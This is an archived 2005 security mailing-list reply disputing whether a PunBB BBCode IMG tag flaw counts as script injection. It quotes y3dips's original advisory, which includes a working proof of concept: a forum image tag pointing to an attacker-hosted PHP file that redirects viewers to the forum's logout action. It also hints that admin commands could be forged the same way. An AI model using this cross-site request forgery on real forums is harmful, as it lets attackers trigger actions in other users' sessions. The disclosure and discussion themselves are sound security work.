Re: PunBB BBCode IMG Tag Script Injection Vulnerability

[Aaron Horst <anthrax101 () gmail com>]

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While this can have some drastic implications, this is not actually
script injection. You are redirecting the browser, no extra code gets
executed in the context of the PHP processor.

Any piece of software that allows for linking with offsite image
files will be vulnerable to this, not simply phpBB or PunBB. The
browser itself is interpreting the redirect request and sending
another request for the overall web page. This is effectively
impossible to filter out on the server side while still allowing
offsite linking, the only real solution is to prohibit anything that
is not controlled by the software.

AnthraX101

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On 29 Aug 2005 08:49:29 -0000, y3dips () echo or id <y3dips () echo or id> wrote:
> ECHO_ADV_22$2005
>
> ---------------------------------------------------------------------------
>             PunBB BBCode IMG Tag Script Injection Vulnerability
> ---------------------------------------------------------------------------
>
> Author: y3dips
> Date: August, 20th 2005
> Location: Indonesia, Jakarta
> Web: http://echo.or.id/adv/adv22-y3dips-2005.txt
>
> ---------------------------------------------------------------------------
>
> Affected software description:
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> Version: 1.2.6 and most likely below
> url : http://punbb.org
> Author: Rickard Andersson
> Description:
>
> PunBB is a fast and lightweight PHP powered discussion board. It is released under the GNU Public License. Its 
> primary goal is to be a faster, smaller and less graphic alternative to otherwise excellent discussion boards such as 
> phpBB, Invision Power Board or vBulletin. PunBB has fewer features than many other discussion boards, but is 
> generally faster and outputs smaller pages.
>
> ---------------------------------------------------------------------------
>
> Vulnerabilities:
> ~~~~~~~~~~~~~~~~
>
> According to the issue that affect PHPBB discovered by easyex recently at http://www.securityfocus.com/bid/14555/info 
> , so it also affected in another bulletin board or forum that allow BBcode such as PunBB.
>
> The issue is due to a failure of the application to properly sanitize user-supplied input in bbcode '[IMG]' tags 
> included in a message or user signature (if allowed , default is off) .
>
> Successful exploitation of this vulnerability could permit the injection of arbitrary HTML or script code into the 
> browser of an unsuspecting user in the context of the affected site.
>
>
> Exploit:
> ~~~~~~~~
>
> just post a message that include
>
> [img]http://attacker.com/yuckfou.png[/img]
>
> yuckfou.png is a folder , and include some "index.php" file
>
> ---- index.php ----
>
> <?php
> header("Location: http://target.com/punbb1.2.6/login.php?action=out&id=2";); ?>
>
> ---- eof ------
>
> so , user with id=2 if open the topics with attacker message include will automatically "logout"
>
> maybe some other interesting in command could put in "index.php" with admin priveledged *_^
>
>
> THATS all
>
> Fix
> ~~~
>
> Vendor allready contacted but no responses
>
> Shoutz:
>
> ~~~~~~~
>
>
>
> ~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to @T echo/staff
> ~ waraxe , LINUX, Heintz , slimjim100 , lunix, easyex all member of waraxe
>
> ~ newbie_hacker () yahoogroups com ,
>
> ~ #e-c-h-o & #aikmel @DALNET
>
> Contact:
> ~~~~~~~~
>
> y3dips || echo|staff
> Homepage: http://y3dips.echo.or.id/



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